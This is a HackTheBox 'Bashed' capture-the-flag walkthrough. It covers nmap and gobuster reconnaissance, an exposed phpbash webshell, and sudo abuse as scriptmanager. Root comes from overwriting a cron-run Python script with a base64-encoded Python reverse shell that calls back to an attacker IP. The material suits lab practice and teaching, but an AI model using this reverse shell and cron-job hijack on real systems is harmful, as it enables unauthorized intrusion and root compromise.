CTF··4 min read

HTB Bashed Writeup: From phpbash WebShell to Root via Cron Job Abuse

Begin by adding the machine IP to /etc/hosts.

nano /etc/hosts

Terminal window showing /etc/hosts file opened in nano with bashed.htb mapped to 10.10.10.134.

Reconnaissance

Conduct nmap scans respectively ->

Full port scan:

sudo nmap -p- -Pn --min-rate 10000 bashed.htb

Full port coverage + skip host discovery to avoid ICMP-based false negatives on firewalled hosts.

Terminal output of nmap full port scan showing open ports 80 and 8080 on bashed.htb.

Service + default script scan:

sudo nmap -p 80 -Pn -sV -sC bashed.htb

Terminal output of nmap service scan on port 80 showing http-title and http-server-header for Apache.

Observe that there is a page discovered through http-title & http-server-header.

Aggressive scan gave more detailed results ->

sudo nmap -p 80 -Pn -A bashed.htb

We can get OS detection as well.

Terminal output of nmap OS detection scan on port 80 showing Apache version and Linux kernel hints.

I also conducted an NSE vuln script scan, but it took too much time to get results.

Terminal output of nmap NSE vuln scan listing SQL injection, directory disclosure, and Slowloris DoS vulnerabilities.

Eventually, the scan completed and revealed various vulnerabilities (SQL injection, directory disclosure, Slowloris DoS) found by the NSE engine.

Terminal output of gobuster directory brute force showing /dev, /images, /css, /js, and /php directories.

Fuzzing

Simple gobuster session gave me several endpoints.

gobuster dir -r -u http://bashed.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40

Web browser showing bashed.htb index page with article about phpbash webshell.

Moreover, the page mentioned an interesting article about a script called phpbash on http://bashed.htb/index.html.

GitHub page for phpbash webshell repository showing installation instructions.

The developer advertises his webshell on GitHub. Let’s check ->

Directory listing of /dev/ on bashed.htb showing phpbash.php and phpbash-master files.

On the /dev/ endpoint, there was a directory listing containing the script. I used the first one.

Terminal inside phpbash webshell showing sudo -l output and user flag in /home/arrexel/user.txt.

Foothold

Through the phpbash webshell, I ran sudo -l and discovered that the www-data user can run commands as scriptmanager without a password. After navigating to /home/arrexel/, I grabbed the user flag.

Terminal inside phpbash webshell showing failed su scriptmanager attempt due to no tty.

I tried to switch user to scriptmanager via su, yet it failed because we are not in a proper terminal.

Terminal inside phpbash webshell showing permission denied when accessing /root as scriptmanager.

Additionally, running commands as scriptmanager does not grant access to /root/.

www-data@bashed
:/var/www/html/dev# sudo -u scriptmanager ls -la /root/ls: cannot open directory '/root/': Permission denied

Privilege Escalation

For another root escalation through files consumed by a scheduled job, compare HTB Topology: LaTeX Injection to Root.

On the root path /, there is an unusual directory called scripts. I also attempted to run linpeas, but it did not produce output.

Terminal output of ls -la /scripts showing test.py and test.pyc files owned by scriptmanager.

It was not possible to see the entire contents of /scripts/ as www-data. Therefore, I ran it as scriptmanager.

Terminal output of ls -la /scripts as scriptmanager showing full directory contents.

Now it worked successfully.

sudo -u scriptmanager ls -al /scripts/www-data@bashed
:/# sudo -u scriptmanager ls -al /scripts/total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Mar 4 06:57 test.txt

The plan became clear: test.py is owned by scriptmanager, but test.txt is owned by root and has a recent timestamp. This means a cron job runs test.py as root. Override the Python script with a reverse shell payload and wait for execution.

www-data@bashed
:/# sudo -u scriptmanager cat /scripts/test.txttesting 123!
www-data@bashed
:/# sudo -u scriptmanager cat /scripts/test.pyf = open("test.txt", "w")
f.write("testing 123!")
f.close

If we just put echo after scriptmanager, we will get a permission error because the redirection operator > runs under www-data's context.

We have a fully supported Python environment.

www-data@bashed
:/# which python/usr/bin/python
www-data@bashed
:/# which python3/usr/bin/python3
www-data@bashed
:/# which python2/usr/bin/python2

I tried to write the reverse shell payload directly, but it did not work due to quoting issues. I encoded it in base64 instead ->

echo 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.50",8001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' | base64 -w0

Terminal showing base64 encoded reverse shell payload for Python script.

Run the full root shell payload as scriptmanager's bash shell: echo the base64-encoded payload, decode it via base64, and overwrite test.py.

sudo -u scriptmanager bash -c 'echo aW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuNTAiLDgwMDEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCg== | base64 -d > /scripts/test.py'

As you can see below, Penelope attempted to upgrade the shell to PTY and prepared the session.

Terminal showing Penelope listener receiving connection and attempting PTY upgrade.

However, the shell was fully stuck even after the Python PTY upgrade. That is why I moved on with netcat instead -> nc -lvnp 8001

It’s done !

Terminal showing netcat listener on port 8001 with root shell and root flag.
May The Pentest Be With You ! ! !